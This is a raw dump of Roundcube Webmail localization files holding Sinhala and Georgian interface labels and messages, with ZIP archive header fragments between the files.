$messages['sendingfailed'] = 'පණිවිඩය යැවීම අසාර්ථකයි.';
$messages['senttooquickly'] = 'කරුණාකර මෙම පණිවිඩය යැවීමට පෙර තත්පර $secක් රැදී සිටින්න.';
$messages['errormoving'] = 'පනිවුඩය ගෙන යාමට නොහැක';
$messages['errorcopying'] = 'පණිවිඩ(ය) පිටපත් කල නොහැක.';
$messages['errordeleting'] = 'පණිවිඩ(ය) මකා දැමීමට නොහැක.';
$messages['errormarking'] = 'පණිවිඩ(ය) සලකුණු කල නොහැක.';
$messages['deletecontactconfirm']  = 'තෝරා ඇති ලිපින ඔබට මකා දැමීමට සැබවින්ම වුවමනාද?';
$messages['deletemessagesconfirm'] = 'තෝරා ඇති පණිවිඩ(ය) ඔබට මකා දැමීමට සැබවින්ම වුවමනාද?';
$messages['deletefolderconfirm']  = 'ඔබට මෙම බහාලුම මකා දැමීමට සැබවින්ම වුවමනාද?';
$messages['purgefolderconfirm']  = 'මෙම බහාලමේ ඇති සියලුම පණිවිඩ ඔබට මකා දැමීමට සැබවින්ම වුවමනාද?';
$messages['folderdeleting'] = 'බහාලුම මකාදමමින්...';
$messages['formincomplete'] = 'පෝරමය සම්පූර්ණයෙන් පුරවා නොමැත.';
$messages['noemailwarning'] = 'කරුණාකර වලංගු විද්යුත් ලිපිනයක් ඇතුලත් කරන්න.';
$messages['nonamewarning']  = 'කරුණාකර නම ඇතුලත් කරන්න.';
$messages['nopagesizewarning'] = 'කරුණාකර පිටුවේ ප්‍රමාණය ඇතුලත් කරන්න.';
$messages['norecipientwarning'] = 'කරුණාකර යටත් පිරිසෙයින් එක් ලබන්නෙකු හෝ ඇතුලත් කරන්න';
$messages['nosubjectwarning']  = '"මාතෘකාව" හිස්. මාතෘකාවක් ඇතුලත් කිරීමට ඔබ කැමතිද?';
$messages['nobodywarning'] = 'මෙම හිස් පනිවුඩය යවන්නද?';
$messages['nosearchname'] = 'කරුණාකර ලිපිනයෙහි නම හෝ විද්යුත් තැපැල් ලිපිනය ඇතුලත් කරන්න';
$messages['searchsuccessful'] = '$nr පනිවුඩය හමු විය';
$messages['searchnomatch'] = 'සෙවුමට අදාල ගැලපීමක් නොමැත.';
$messages['searching'] = 'සොයමින්...';
$messages['checking'] = 'පරික්‍ෂාකරමින්...';
$messages['nospellerrors'] = 'වියාකරන දොෂ නොමැත';
$messages['folderdeleted'] = 'බහාලුම සාර්ථකව මකා දමන ලදී.';
$messages['deletedsuccessfully'] = 'සාර්ථකව මකාදමන ලදී.';
$messages['converting'] = 'පනිවුඩයෙන් ආකෘතීකරණය ඉවත් කිරීම';
$messages['messageopenerror'] = 'පනිවුඩය පූරනය කිරීමට නොහැක';
$messages['fileuploaderror'] = 'ගොනුව ඇතුලත් කිරීමට නොහැක';
$messages['filesizeerror'] = 'ඇතුලත් කල ගොනුවෙ ප්රමාණය උපරිම අගය $size ඉක්මවා ඇත';
$messages['sourceisreadonly'] = 'මෙම ලිපින මූලාශ්රය කියවීම සඳහා පමනි';
$messages['errorsavingcontact'] = 'ලිපිනය තැන්පත් කීරීමට නොහැක';
$messages['movingmessage'] = 'පණිවිඩ(ය) ගෙනයමින්...';
$messages['copyingmessage'] = 'පණිවිඩ(ය) පිටපත් කරමින්...';
$messages['deletingmessage'] = 'පණිවිඩ(ය) මකා දමමින්...';
$messages['markingmessage'] = 'පණිවිඩ(ය) සලකුණු කරමින්...';
$messages['errorsendingreceipt'] = 'කියවීම් භාර ගැනීම යැවීමට නොහැක';
$messages['nodeletelastidentity'] = 'අවසාන අනන්‍යතාවය මකා දැමිය නොහැක';
$messages['importwait'] = 'ආනයනය කරමින්, කරුණාකර රැදී සිටින්න...';
$messages['messagedeleted'] = 'පණිවිඩ(ය) මකා දැමීම සාර්ථකයි.';
$messages['messagemoved'] = 'පණිවිඩ(ය) ගෙනයෑම සාර්ථකයි.';
$messages['messagecopied'] = 'පණිවිඩ(ය) පිටපත් කිරීම සාර්ථකයි.';
$messages['messagemarked'] = 'පණිවිඩ(ය) සලකුණු කිරීම සාර්ථකයි.';
$messages['namecannotbeempty'] = 'නම හිස්ව තැබිය නොහැක.';
$messages['nametoolong'] = 'නම දිග වැඩිය.';
PK
h�\w+���j�j%program/localization/ka_GE/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'მოგესალმებათ $product';
$labels['username'] = 'მომხმარებელი';
$labels['password'] = 'პაროლი';
$labels['server'] = 'სერვერი';
$labels['login'] = 'შესვლა';
$labels['logout'] = 'გამოსვლა';
$labels['mail'] = 'ელფოსტა';
$labels['settings'] = 'პარამეტრები';
$labels['addressbook'] = 'მისამართები';
$labels['inbox'] = 'მიღებული';
$labels['drafts'] = 'დროებითი';
$labels['sent'] = 'გაგზავნილი';
$labels['trash'] = 'წაშლილი';
$labels['junk'] = 'სპამი';
$labels['subject'] = 'სათაური';
$labels['from'] = 'გამგზავნი';
$labels['sender'] = 'გამგზავნელი';
$labels['to'] = 'ვის';
$labels['cc'] = 'ასლი';
$labels['bcc'] = 'ფარული';
$labels['replyto'] = 'პასუხი';
$labels['followupto'] = 'მიმდევარი';
$labels['date'] = 'თარიღი';
$labels['size'] = 'ზომა';
$labels['priority'] = 'პრიორიტეტი';
$labels['organization'] = 'ორგანიზაცია';
$labels['readstatus'] = 'წაკითხულის სტატუსი';
$labels['listoptions'] = 'სიის ოფციები...';
$labels['mailboxlist'] = 'საქაღალდეები';
$labels['messagesfromto'] = 'შეტყობინება $from-სგან $to-ს სულ $count\' ცალი';
$labels['messagenrof'] = 'შეტყობინება $nr დან $count';
$labels['copy'] = 'ასლი';
$labels['move'] = 'გადატანა';
$labels['moveto'] = 'გადატანა...';
$labels['download'] = 'გადმოწერა';
$labels['open'] = 'გახსნა';
$labels['showattachment'] = 'ჩვენება';
$labels['filename'] = 'ფაილის სახელი';
$labels['filesize'] = 'ფაილის ზომა';
$labels['addtoaddressbook'] = 'მისამართებში დამატება';
$labels['sun'] = 'კვი';
$labels['mon'] = 'ორშ';
$labels['tue'] = 'სამ';
$labels['wed'] = 'ოთხ';
$labels['thu'] = 'ხუთ';
$labels['fri'] = 'პარ';
$labels['sat'] = 'შაბ';
$labels['sunday'] = 'კვირა';
$labels['monday'] = 'ორშაბათი';
$labels['tuesday'] = 'სამშაბათი';
$labels['wednesday'] = 'ოთხშაბათი';
$labels['thursday'] = 'ხუთშაბათი';
$labels['friday'] = 'პარასკევი';
$labels['saturday'] = 'შაბათი';
$labels['jan'] = 'იან';
$labels['feb'] = 'თებ';
$labels['mar'] = 'მარ';
$labels['apr'] = 'აპრ';
$labels['may'] = 'მაისი';
$labels['jun'] = 'ივნ';
$labels['jul'] = 'ივლ';
$labels['aug'] = 'აგვ';
$labels['sep'] = 'სექ';
$labels['oct'] = 'ოქტ';
$labels['nov'] = 'ნოე';
$labels['dec'] = 'დეკ';
$labels['longjan'] = 'იანვარი';
$labels['longfeb'] = 'თებერვალი';
$labels['longmar'] = 'მარტი';
$labels['longapr'] = 'აპრილი';
$labels['longmay'] = 'მაისი';
$labels['longjun'] = 'ივნისი';
$labels['longjul'] = 'ივლისი';
$labels['longaug'] = 'აგვისტო';
$labels['longsep'] = 'სექტემბერი';
$labels['longoct'] = 'ოქტომბერი';
$labels['longnov'] = 'ნოემბერი';
$labels['longdec'] = 'დეკემბერი';
$labels['today'] = 'დღეს';
$labels['refresh'] = 'განახლება';
$labels['checkmail'] = 'შემოწმება ახალ შეტყობინებაზე';
$labels['compose'] = 'შეტყობინების დაწერა';
$labels['writenewmessage'] = 'ახალი შეტყობინება';
$labels['reply'] = 'პასუხის გაცემა';
$labels['replytomessage'] = 'პასუხი';
$labels['replytoallmessage'] = 'პასუხი ყველას';
$labels['replyall'] = 'პასუხის გაცემა ყველას';
$labels['replylist'] = 'პასუხის გაცემა სიით';
$labels['forward'] = 'გადაგზავნა';
$labels['forwardmessage'] = 'გადაგზავნა';
$labels['deletemessage'] = 'წაშლა';
$labels['movemessagetotrash'] = 'შეტყობინების წაშლილებში გადატანა';
$labels['printmessage'] = 'შეტყობინების ამობეჭვდა';
$labels['previousmessage'] = 'წინა შეტყობინების ნახვა';
$labels['firstmessage'] = 'პირველი შეტყობინების ნახვა';
$labels['nextmessage'] = 'შემდეგი შეტყობინების ნახვა';
$labels['lastmessage'] = 'ბოლო შეტყობინების ნახვა';
$labels['backtolist'] = 'უკან ჩამონათვალში';
$labels['viewsource'] = 'შიგთავსი';
$labels['mark'] = 'მონიშვნა';
$labels['markmessages'] = 'მონიშნეთ შეტყობინებები';
$labels['markread'] = 'როგორც წაკითხული';
$labels['markunread'] = 'როგორც წაუკითხავი';
$labels['markflagged'] = 'როგორც მონიშნული';
$labels['markunflagged'] = 'როგორც მოუნიშნავი';
$labels['moreactions'] = 'მეტი მოქმედება...';
$labels['folders-all'] = 'ყველა საქაღალდე';
$labels['more'] = 'მეტი';
$labels['back'] = 'უკან';
$labels['first'] = 'პირველი';
$labels['last'] = 'ბოლო';
$labels['previous'] = 'წინა';
$labels['next'] = 'შემდეგი';
$labels['select'] = 'მონიშვნა';
$labels['all'] = 'ყველა';
$labels['none'] = 'არცერთი';
$labels['currpage'] = 'მიმდინარე გვერდი';
$labels['isread'] = 'წაკითხვა';
$labels['unread'] = 'წაუკითხავი';
$labels['flagged'] = 'მონიშნული';
$labels['unflagged'] = 'მოუნიშნავი';
$labels['unanswered'] = 'უპასუხო';
$labels['deleted'] = 'წაშლილი';
$labels['undeleted'] = 'წაუშლელი';
$labels['replied'] = 'პასუხგაცემული';
$labels['forwarded'] = 'გადაგზავნილი';
$labels['invert'] = 'შებრუნებული';
$labels['filter'] = 'ფილტრი';
$labels['list'] = 'სია';
$labels['expand-all'] = 'ყველას გაშლა';
$labels['expand-unread'] = 'წაუკითხავის გაშლა';
$labels['collapse-all'] = 'ყველას დაკეცვა';
$labels['expand_only_unread'] = 'მარტო წაუკითხავი შეტყობინებები';
$labels['fromto'] = 'ვისგან/ვის';
$labels['flag'] = 'დროშა';
$labels['attachment'] = 'მიმაგრებული ფაილი';
$labels['nonesort'] = 'არცერთი';
$labels['sentdate'] = 'გაგზავნის თარიღი';
$labels['arrival'] = 'მოსვლის თარიღი';
$labels['asc'] = 'ზრდადობით';
$labels['desc'] = 'კლებადობით';
$labels['listcolumns'] = 'სვეტების სია';
$labels['listsorting'] = 'სვეტების დალაგება';
$labels['listorder'] = 'დალაგება';
$labels['layoutlist'] = 'სია';
$labels['folderactions'] = 'საქაღალდეზე მოქმედება..';
$labels['compact'] = 'შეკუმშვა';
$labels['empty'] = 'გაცარიელება';
$labels['quota'] = 'შეზღუდვა';
$labels['unknown'] = 'უცნობი';
$labels['unlimited'] = 'შეუზღუდავი';
$labels['quotatotal'] = 'ლიმიტი';
$labels['quotaused'] = 'გამოყენებული';
$labels['quotastorage'] = 'ადგილი დისკზე';
$labels['quotamessage'] = 'შეტყობინებების რაოდენობა';
$labels['quicksearch'] = 'სწრაფი ძიება';
$labels['resetsearch'] = 'ძიების გასუფთავება';
$labels['searchmod'] = 'ძებნის ვარიანტები';
$labels['msgtext'] = 'ყველა შეტყობინება';
$labels['body'] = 'შეტყობინების ტექსტი';
$labels['type'] = 'ტიპი';
$labels['namex'] = 'სახელი';
$labels['subfolders'] = 'ეს და ქვესაქაღალდეები';
$labels['allfolders'] = 'ყველა საქაღალდე';
$labels['searchinterval-1W'] = 'ერთ კვირაზე ძველი';
$labels['searchinterval-1M'] = 'ერთ წელზე ძველი';
$labels['searchinterval-1Y'] = 'ერთ თვეზე ძველი';
$labels['searchinterval1W'] = 'ერთ კვირაზე ახალი';
$labels['searchinterval1M'] = 'ერთ თვეზე ახალი';
$labels['searchinterval1Y'] = 'ერთ წელზე ახალი';
$labels['openinextwin'] = 'გახსნა ახალ ფანჯარაში';
$labels['emlsave'] = 'გადმოწერა (.eml)';
$labels['editasnew'] = 'რედაქტირება როგორც ახლის';
$labels['send'] = 'გაგზავნა';
$labels['sendmessage'] = 'შეტყობინების გაგზავნა';
$labels['savemessage'] = 'დროებით შენახვა';
$labels['addattachment'] = 'ფაილის ატვირთვა';
$labels['charset'] = 'კოდირება';
$labels['editortype'] = 'რედაქტორი';
$labels['returnreceipt'] = 'პასუხის მოთხოვნა';
$labels['mailreplyintro'] = '$date-ში, $sender დაწერა:';
$labels['originalmessage'] = 'ორიგინალი შეტყობინება';
$labels['selectimage'] = 'სურათის არჩევა';
$labels['addimage'] = 'სურათის დამატება';
$labels['selectmedia'] = 'ფილმის არჩევა';
$labels['addmedia'] = 'ფილმის დამატება';
$labels['keyexpired'] = 'ვადაგასული';
$labels['spellcheck'] = 'გრამატიკა';
$labels['checkspelling'] = 'ორთოგრაფიული შემოწმება';
$labels['resumeediting'] = 'რედაქტირების გაგრძელება';
$labels['revertto'] = 'გაუქმება';
$labels['restore'] = 'აღდგენა';
$labels['restoremessage'] = 'აღვადგინო შეტყობინება?';
$labels['ignore'] = 'იგნორირება';
$labels['responses'] = 'პასუხები';
$labels['insertresponse'] = 'პასუხის ჩასმა';
$labels['manageresponses'] = 'პასუხების მართვა';
$labels['newresponse'] = 'ახალი პასუხის შექმნა';
$labels['addresponse'] = 'პასუხის დამატება';
$labels['editresponse'] = 'პასუხის რედაქტირება';
$labels['editresponses'] = 'პასუხების რედაქტირება';
$labels['responsename'] = 'სახელი';
$labels['responsetext'] = 'პასუხის ტექსტი';
$labels['attach'] = 'მიბმა';
$labels['attachments'] = 'გზავნილები';
$labels['upload'] = 'ატვირთვა';
$labels['close'] = 'დახურვა';
$labels['messageoptions'] = 'შეტყობინების ოფციები...';
$labels['low'] = 'დაბალი';
$labels['lowest'] = 'უდაბლესი';
$labels['normal'] = 'საშუალო';
$labels['high'] = 'მაღალი';
$labels['highest'] = 'უმაღლესი';
$labels['nosubject'] = '(უსათაურო)';
$labels['showimages'] = 'გამოსახულების ჩვენება';
$labels['alwaysshow'] = 'ყოველთვის გამოაჩინე სურათები $sender –გან';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'ტექსტური';
$labels['savesentmessagein'] = 'შეინახე შეტყობინება';
$labels['dontsave'] = 'არ შეინახო';
$labels['maxuploadsize'] = 'მაქსიმალური დაშვებული ფაილის ზომა $size';
$labels['addcc'] = 'დაამატე კოპიო';
$labels['addbcc'] = 'დაამატე ფარული კოპიო';
$labels['addreplyto'] = 'დაამატე გამომგზავნი';
$labels['mdnrequest'] = 'გამომგზავნს სურს შეიტყოს წერილის მიღება. გსურთ შეატყობინოთ გამომგზავნს?';
$labels['receiptread'] = 'გზავნილის დაბრუნება';
$labels['yourmessage'] = 'ეს არის მიღების დასტური თქვენს შეტყობინებაზე';
$labels['receiptnote'] = 'განმარტება: ეს ნიშნავს რომ ადრესატმა მიიღო შეტყობინება. მაგრამ, არ ნიშნავს რომ წაიკითხა ან გაიგო ტექსტი';
$labels['name'] = 'სრული სახელი';
$labels['firstname'] = 'სახელი';
$labels['surname'] = 'გვარი';
$labels['nameprefix'] = 'პრეფიქსი';
$labels['namesuffix'] = 'სუფიქსი';
$labels['jobtitle'] = 'თანამდებობა';
$labels['department'] = 'დეპარტამენტი';
$labels['gender'] = 'სქესი';
$labels['email'] = 'ელ–ფოსტა';
$labels['phone'] = 'ტელეფონი';
$labels['address'] = 'მისამართი';
$labels['street'] = 'ქუჩა';
$labels['locality'] = 'ქალაქი';
$labels['zipcode'] = 'ZIP კოდი';
$labels['region'] = 'შტატი/პროვინცია';
$labels['country'] = 'ქვეყანა';
$labels['birthday'] = 'დაბადების დღე';
$labels['website'] = 'ვებგვერდი';
$labels['male'] = 'მამრობითი';
$labels['female'] = 'მდედრობით';
$labels['manager'] = 'მენეჯერი';
$labels['allfields'] = 'ყველა ველი';
$labels['search'] = 'ძებნა';
$labels['searchresult'] = 'ძებნის რეზულტატი';
$labels['advsearch'] = 'გაფართოებული ძებნა';
$labels['other'] = 'სხვა';
$labels['typehome'] = 'სახლი';
$labels['typework'] = 'სამსახური';
$labels['typeother'] = 'სხვა';
$labels['typemobile'] = 'მობილური';
$labels['typemain'] = 'ძირითადი';
$labels['typehomefax'] = 'სახლის ფაქსი';
$labels['typeworkfax'] = 'სამსახურის ფაქსი';
$labels['typecar'] = 'მანქანა';
$labels['typepager'] = 'პეიჯერი';
$labels['typevideo'] = 'ვიდეო';
$labels['typeblog'] = 'ბლოგი';
$labels['typeprofile'] = 'პროფილი';
$labels['addfield'] = 'ველის დამატება...';
$labels['addcontact'] = 'კონტაქტის დამატება';
$labels['editcontact'] = 'კონტაქტის რედაქტირება';
$labels['contacts'] = 'კონტაქტები';
$labels['contactnameandorg'] = 'სახელი და ორგანიზაცია';
$labels['personalinfo'] = 'პირადი ინფორმაცია';
$labels['contactphoto'] = 'კონტაქტის ფოტო';
$labels['edit'] = 'რედაქტირება';
$labels['cancel'] = 'გაუქმება';
$labels['save'] = 'შენახვა';
$labels['delete'] = 'წაშლა';
$labels['rename'] = 'გადარქმევა';
$labels['addphoto'] = 'დამატება';
$labels['replacephoto'] = 'გამოცვლა';
$labels['uploadphoto'] = 'სურათის ატვირთვა';
$labels['deletecontact'] = 'მონიშნელი კონტაქტის წაშლა';
$labels['composeto'] = 'ფოსტის გაგზავნა შერჩეულ ადრესატებთან';
$labels['contactsfromto'] = 'კონტაქტები $from დან $to ში $count';
$labels['print'] = 'დაბეჭვდა';
$labels['export'] = 'ექსპორტი';
$labels['exportvcards'] = 'კონტაქტების ექსპორტი vCard ფორმატში';
$labels['grouprename'] = 'ჯგუფის სახელის შეცვლა';
$labels['groupdelete'] = 'ჯგუფის წაშლა';
$labels['previouspage'] = 'წინას ჩვენება';
$labels['firstpage'] = 'პირველის ჩვენება';
$labels['nextpage'] = 'შემდეგის ჩვენება';
$labels['lastpage'] = 'ბოლოს ჩვენება';
$labels['group'] = 'ჯგუფი';
$labels['groups'] = 'ჯგუფები';
$labels['personaladrbook'] = 'პერსონალური მისამართები';
$labels['searchsave'] = 'ძებნის შენახვა';
$labels['searchdelete'] = 'ძებნის წაშლა';
$labels['import'] = 'შემოტანა';
$labels['importcontacts'] = 'კონტაქტების შემოტანა';
$labels['importreplace'] = 'ჩაანაცვლეთ არსებული მისამართები';
$labels['done'] = 'დასრულებულია';
$labels['settingsfor'] = 'პარამეტრები';
$labels['preferences'] = 'პარამეტრები';
$labels['userpreferences'] = 'მომხმარებლის პარამეტრები';
$labels['editpreferences'] = 'მომხმარებლის პარამეტრების რედაქტირება';
$labels['identities'] = 'პროფილები';
$labels['preferhtml'] = 'როგორც HTML';
$labels['defaultcharset'] = 'ნაგულისხმები სიმბოლოთა ნაკრები';
$labels['htmlmessage'] = 'HTML შეტყობინება';
$labels['dateformat'] = 'თარიღის ფორმატი';
$labels['timeformat'] = 'დროის ფორმატი';
$labels['prettydate'] = 'კარგი თარიღები';
$labels['setdefault'] = 'როგორც ზოგაგად';
$labels['autodetect'] = 'ავტომატური';
$labels['language'] = 'ენა';
$labels['timezone'] = 'დროითი ზონა';
$labels['pagesize'] = 'სტრიქონი გვერდზე';
$labels['signature'] = 'ხელმოწერა';
$labels['dstactive'] = 'დროის გადაყვანა';
$labels['htmleditor'] = 'შეტყობინების შექმნა HTML –ში';
$labels['htmlsignature'] = 'HTML ხელმოწერა';
$labels['previewpane'] = 'ჩვენება';
$labels['skin'] = 'ინტერფეისი';
$labels['logoutclear'] = 'წაშლილების გასუფთავება გამოსვლისას';
$labels['logoutcompact'] = 'მიღებულების შეკუმშვა გამოსვლისას';
$labels['uisettings'] = 'მომხმარებლის ინტერფეისი';
$labels['serversettings'] = 'სერვერის პარამეტრები';
$labels['mailboxview'] = 'საფოსტო ყუთის ჩვენება';
$labels['mdnrequests'] = 'მგზავნელის შეტყობინებები';
$labels['askuser'] = 'ჰკითხე მომხმარებელს';
$labels['autosend'] = 'გაგზავნე ავტომატურად';
$labels['readwhendeleted'] = 'მონიშნე გზავნილი წაკითხულად წაშლის დროს';
$labels['flagfordeletion'] = 'აღნიშნეთ გზავნილები როგორც წასაშლელი წაშლის ნაცვლად';
$labels['skipdeleted'] = 'არ გამოაჩინო წაშლილი გზავნილები';
$labels['showremoteimages'] = 'გამოაჩინე მოშორებული სურათები';
$labels['fromknownsenders'] = 'ნაცნობი მგზავნელებისგან';
$labels['always'] = 'ყოველთვის';
$labels['showinlineimages'] = 'ატვირთული სურათები გამოაჩინე გზავნილის ქვემოთ';
$labels['autosavedraft'] = 'ავტომატური შენახვა';
$labels['everynminutes'] = 'ყოველ $n წუთში';
$labels['never'] = 'არასდროს';
$labels['immediately'] = 'დაუყონებლივ';
$labels['messagesdisplaying'] = 'გამოაჩინე შეტყობინებები';
$labels['messagescomposition'] = 'შეტყობინებების შექმნა';
$labels['mimeparamfolding'] = 'ბმულის სახელები';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (other)';
$labels['force7bit'] = 'MIME კოდირების გამოყენება 8 ბიტიანი სიმბოლოებისთვის';
$labels['advancedoptions'] = 'დამატებითი პარამეტრები';
$labels['focusonnewmessage'] = 'ფოკუსირება ახალ შეტყობინებებზე';
$labels['checkallfolders'] = 'შეამოწმე ყველა საქაღალდე ახალ შეტყობინებაზე';
$labels['mainoptions'] = 'ძირითადი პარამეტრები';
$labels['section'] = 'განყოფილება';
$labels['maintenance'] = 'მომსახურება';
$labels['newmessage'] = 'ახალი შეტყობინება';
$labels['signatureoptions'] = 'ხელმოწერის ოფციები';
$labels['whenreplying'] = 'პასუხის შემთხვევაში';
$labels['replytopposting'] = 'დაიწყოს ახალი შეტყობინება ორიგინალის ზემოთ';
$labels['replybottomposting'] = 'დაიწყოს ახალი შეტყობინება ორიგინალის ქვემოთ';
$labels['replyremovesignature'] = 'წაიშალოს ხელმოწერა პასუხის შემთხვევაში';
$labels['autoaddsignature'] = 'ავტომატურად დაემატოს ხელმოწერა';
$labels['newmessageonly'] = 'მხოლოდ ახალი შეტყობინება';
$labels['replyandforwardonly'] = 'მხოლოდ გადაგზავნის და პასუხის შემთხვევაში';
$labels['insertsignature'] = 'ხელმოცერის ჩასმა';
$labels['afternseconds'] = '$n წამის შემდეგ';
$labels['addtodict'] = 'ლექსიკონში დამატება';
$labels['folder'] = 'საქაღალდე';
$labels['folders'] = 'საქაღალდეები';
$labels['foldername'] = 'საქაღალდის დასახელება';
$labels['subscribed'] = 'გამოწერილია';
$labels['messagecount'] = 'შეტყობინებები';
$labels['create'] = 'შექმნა';
$labels['createfolder'] = 'საქაღალდის შექმნა';
$labels['managefolders'] = 'საქაღალდეების მართვა';
$labels['specialfolders'] = 'სპეციალური საქაღალდე';
$labels['location'] = 'მდებარეობა';
$labels['info'] = 'ინფორმაცია';
$labels['foldertype'] = 'დასტის ტიპი';
$labels['personalfolder'] = 'კერძო დასტა';
$labels['sharedfolder'] = 'საჯარო დასტა';
$labels['sortby'] = 'დალაგება';
$labels['sortasc'] = 'დალაგება ზრდადობით';
$labels['sortdesc'] = 'დალაგება კლებადობით';
$labels['undo'] = 'დაბრუნება';
$labels['B'] = 'ბტ';
$labels['KB'] = 'კბტ';
$labels['MB'] = 'მბტ';
$labels['GB'] = 'გბტ';
$labels['unicode'] = 'უნიკოდი';
$labels['english'] = 'ინსგლისური';
$labels['westerneuropean'] = 'დასავლურევროპული';
$labels['easterneuropean'] = 'აღმოსავლეთევროპული';
$labels['baltic'] = 'ბალტიური';
$labels['cyrillic'] = 'კირილიცა';
$labels['arabic'] = 'არაბული';
$labels['greek'] = 'ბერძნული';
$labels['hebrew'] = 'ებრაული';
$labels['turkish'] = 'თურქული';
$labels['thai'] = 'ტაი';
$labels['celtic'] = 'კელტური';
$labels['vietnamese'] = 'ვიეტნამური';
$labels['japanese'] = 'იაპონური';
$labels['korean'] = 'კორეული';
$labels['chinese'] = 'ჩინური';
PK
h�\�H���K�K'program/localization/ka_GE/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'დაფიქსირდა შეცდომა!';
$messages['loginfailed']  = 'შესვლა შეუძლებელია';
$messages['cookiesdisabled'] = 'თქვენი ბროუზერი კუკიებს არ პასუხობს';
$messages['sessionerror'] = 'თქვენი სესია არის მცდარი ან ვადაგასული';
$messages['storageerror'] = 'IMAP სერვერთან დაკავშირება შეუძლებელია';
$messages['servererror'] = 'შეცდომა სერვერზე!';
$messages['servererrormsg'] = 'სერვერის შეცდომა: $msg';
$messages['accountlocked'] = 'ძალიან ბევრი წარუმატებელი შესვლის მცდელობა. მოგვიანებით სცადეთ.';
$messages['connerror'] = 'კავშირის შეცდომა (სერვერთან კავშირი შეუძლებელია)!';
$messages['dberror'] = 'მონაცემთა ბაზის შეცდომა!';
$messages['requesttimedout'] = 'მოთხოვნას ვადა გაუვიდა';
$messages['errorreadonly'] = 'ოპერაციის შესრულება შეუძლებელია. საქაღალდე არის მხოლოდ წაწკითხვის რეჟიმში.';
$messages['errornoperm'] = 'მოქმედების შესრულება შეუძლებალია. წვდომა აკრძალულია.';
$messages['erroroverquota'] = 'მოქმედების შესრულება შეუძლებალია. დისკზე არ დარჩა თავისუფალი ადგილი.';
$messages['erroroverquotadelete'] = 'დისკზე არ დარჩა თავისუფალი ადგილი. გამოიყენეთ SHIFT+DEL შეტყობინების წასასშლელად.';
$messages['invalidrequest'] = 'არასწორი მოთხოვნა! მონაცემების შენახვა არ მოხერხდა.';
$messages['invalidhost'] = 'არასწორი სერვერის სახელი';
$messages['nomessagesfound'] = 'არ არის ახალი შეტყობინება';
$messages['mailboxempty'] = 'საფოსტო ყუთი ცარიელია';
$messages['nomessages'] = 'არ არის შეტყობინებები';
$messages['refreshing'] = 'განახლება...';
$messages['loading'] = 'იტვირთება...';
$messages['uploading'] = 'ფაილი იტვირთება...';
$messages['attaching'] = 'ფაილის მიმაგრება...';
$messages['uploadingmany'] = 'ფაილების ატვირთვა...';
$messages['loadingdata'] = 'მონაცემების ჩატვირთვა...';
$messages['checkingmail'] = 'ახალი შეტყობინების ნახვა';
$messages['sendingmessage'] = 'შეტყობინების გაგზავნა';
$messages['messagesent'] = 'შეტყობინება გაიგზავნა წარმატებით';
$messages['savingmessage'] = 'შეტყობინების შენახვა...';
$messages['messagesaved'] = 'შეტყობინების დროებით შენახვა';
$messages['successfullysaved'] = 'წარმატებით შეინახა';
$messages['addedsuccessfully'] = 'კონტაქტი წარმატებით დაემატა მისამართებში';
$messages['contactnameexists'] = 'კონტაქტი იგივე სახელით უკვე არსებობს.';
$messages['blockedimages'] = 'უსაფრთხოების მიზნით სურათების ჩვენება შეზღუდულია';
$messages['encryptedmessage'] = 'შეტყობინება დაშიფრულია და სამწუხაროდ ჩვენება შეუძლებელია';
$messages['nocontactsfound'] = 'კონტაქტი ვერ მოიძებნა';
$messages['contactnotfound'] = 'მოთხოვნილი კონტაქტი ვერ მოიძებნა';
$messages['sendingfailed'] = 'შეტყობინება ვერ გაიგზავნა';
$messages['senttooquickly'] = 'გთხოვთ მოიცადოთ $sec წამი. სანამ იგზავნება შეტყობინება';
$messages['errorsavingsent'] = 'გაგზავნილი შეტყობინების შენახვის დროს მოხდა შეცდომა.';
$messages['errorsaving'] = 'შეტყობინების შენახვის დროს მოხდა შეცდომა';
$messages['errormoving'] = 'შეტყობინების გადატანა შეუძლებელია';
$messages['errorcopying'] = 'შეტყობინების კოპირება შეუძლებელია.';
$messages['errordeleting'] = 'შეტყობინების წაშლა შეუძლებელია';
$messages['errormarking'] = 'შეტყობინების მონიშვნა შეუძლებელია';
$messages['deletecontactconfirm']  = 'ნამდვილად გსურთ მონიშნული კონტაქტების წაშლა?';
$messages['deletegroupconfirm']  = 'ნამდვილად გსურთ მონიშნული ჯგუფის წაშლა?';
$messages['deletemessagesconfirm'] = 'ნამდვილად გსურთ მონიშნული შეტყობინებების წაშლა?';
$messages['deletefolderconfirm']  = 'ნამდვილად გსურთ ამ საქაღალდის წაშლა?';
$messages['purgefolderconfirm']  = 'ნამდვილად გსურთ ყველა შეტყობინების წაშლა აღნიშნულ საქაღალდეში?';
$messages['contactdeleting'] = 'კონტაქტის წაშლა...';
$messages['groupdeleting'] = 'ჯგუფის წაშლა...';
$messages['folderdeleting'] = 'საქაღალდის წაშლა...';
$messages['foldermoving'] = 'საქაღალდის გადატანა...';
$messages['foldersubscribing'] = 'საქაღალდის გამოწერა...';
$messages['folderunsubscribing'] = 'საქაღალდის გამოწერაის გაუქმება...';
$messages['formincomplete'] = 'ყველა ველი არ არის შევსებული';
$messages['noemailwarning'] = 'მიუთითეთ სწორი ელ–ფოსტის მისამართი';
$messages['nonamewarning']  = 'მიუთითეთ სახელი';
$messages['nopagesizewarning'] = 'მიუთითეთ ფურცლის ზომა';
$messages['norecipientwarning'] = 'მიუთითეთ მიმღები';
$messages['nosubjectwarning']  = 'გსურთ თუ არა შეტყობინების გაგზავნა უსათაუროდ?';
